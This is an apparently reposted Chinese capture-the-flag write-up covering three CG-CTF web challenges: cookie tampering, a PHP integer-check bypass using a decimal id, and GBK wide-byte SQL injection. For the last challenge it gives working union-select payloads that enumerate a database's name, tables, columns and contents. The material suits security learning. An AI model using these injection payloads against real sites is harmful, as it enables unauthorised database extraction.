CG-CTF WEB 解题记录 11-15 [转载]sql宽字节注入详解

写了一部分的web题,算是把它最基础的一部分做了一遍,以后的几天将持续更新CG-CTF WEB部分的题解,为了不影响阅读,所以每五道题的题解以一篇文章的形式发表,感谢大家一直以来的支持和理解,共勉~~~

Download~!

这个题题库出现了问题,暂时不能访问,随后更新

COOKIE

打开题目,看到一条提示,0=not,随后我们打开网页 

提示我们please login fist 继续登陆,我们知道cookie就是储存登陆信息的。

这个题目也就是考察cookie,打开BP,抓一下数据包

将Login改为1即可得到flag

MYSQL

打开题目,给了一条提示Do you know robots.txt?下边是一条百度百科链接 ,查看一下并没有有用的东西

联想以下这个题目,mysql,提示又是Do you know robots.txt?我们知道robots.txt这里的内容吗???

于是乎我们查看一下看能不能打开

http://chinalover.sinaapp.com/web11/robots.txt
TIP:sql.php

<?php
if($_GET[id]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $id = intval($_GET[id]);
  $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
  if ($_GET[id]==1024) {
      echo "<p>no! try again</p>";
  }
  else{
    echo($query[content]);
  }
}
?>

查看到的是这样的代码 ,我们一点一点的提取有用信息

sql.php      并以get形式传输一个id的值T题目中提示了一个1024

那我们就根据提示试一试看能不能得到flag

http://chinalover.sinaapp.com/web11/sql.php?id=1024

提示no! try again,让我们继续尝试,我们继续使用不同id值进行传输,提示no msg in或者no more

而且大于1025小于1020的id值没有任何返回信息

这个时候我们再回到1024,考虑到内容很大可能就在1024的id里边,但根据代码判断不能是1024才显示

那我们就要想有什么可以等效1024,但不等于1024

那很容易想到时mysql的精度问题,输入1024.9试试

flag就出来了

GBK Injection

打开题目,我们观察时候首先想到的是改一下id的值看能不能得到答案

改为二之后出现了这样的一段字符gbk_sql_injection

联想提目标题也是GBK injection  这道题就是GBK的宽字符注入了

这里是一篇关于gbk字符详细的文章[转载]sql宽字节注入详解有兴趣的可以查阅以下 

其他的不说了,直接上文字教程了

爆库id=1%df' union select 1,database %23得到库名 sae-chinalover

爆表id=%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() %23 爆表
得到表名 ctf,ctf2,ctf3,ctf4,news
暴字段ctf2表 %df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746632 %23
得到字段名 id,content(别问我为啥选ctf2表,一个一个试出来的)
暴内容 id=%df' union select 1,group_concat(id,0x3a,content) from ctf2 %23

之后就能得到flag了

猜你喜欢

转载自www.cnblogs.com/Anser-dabao-982480259/p/9475337.html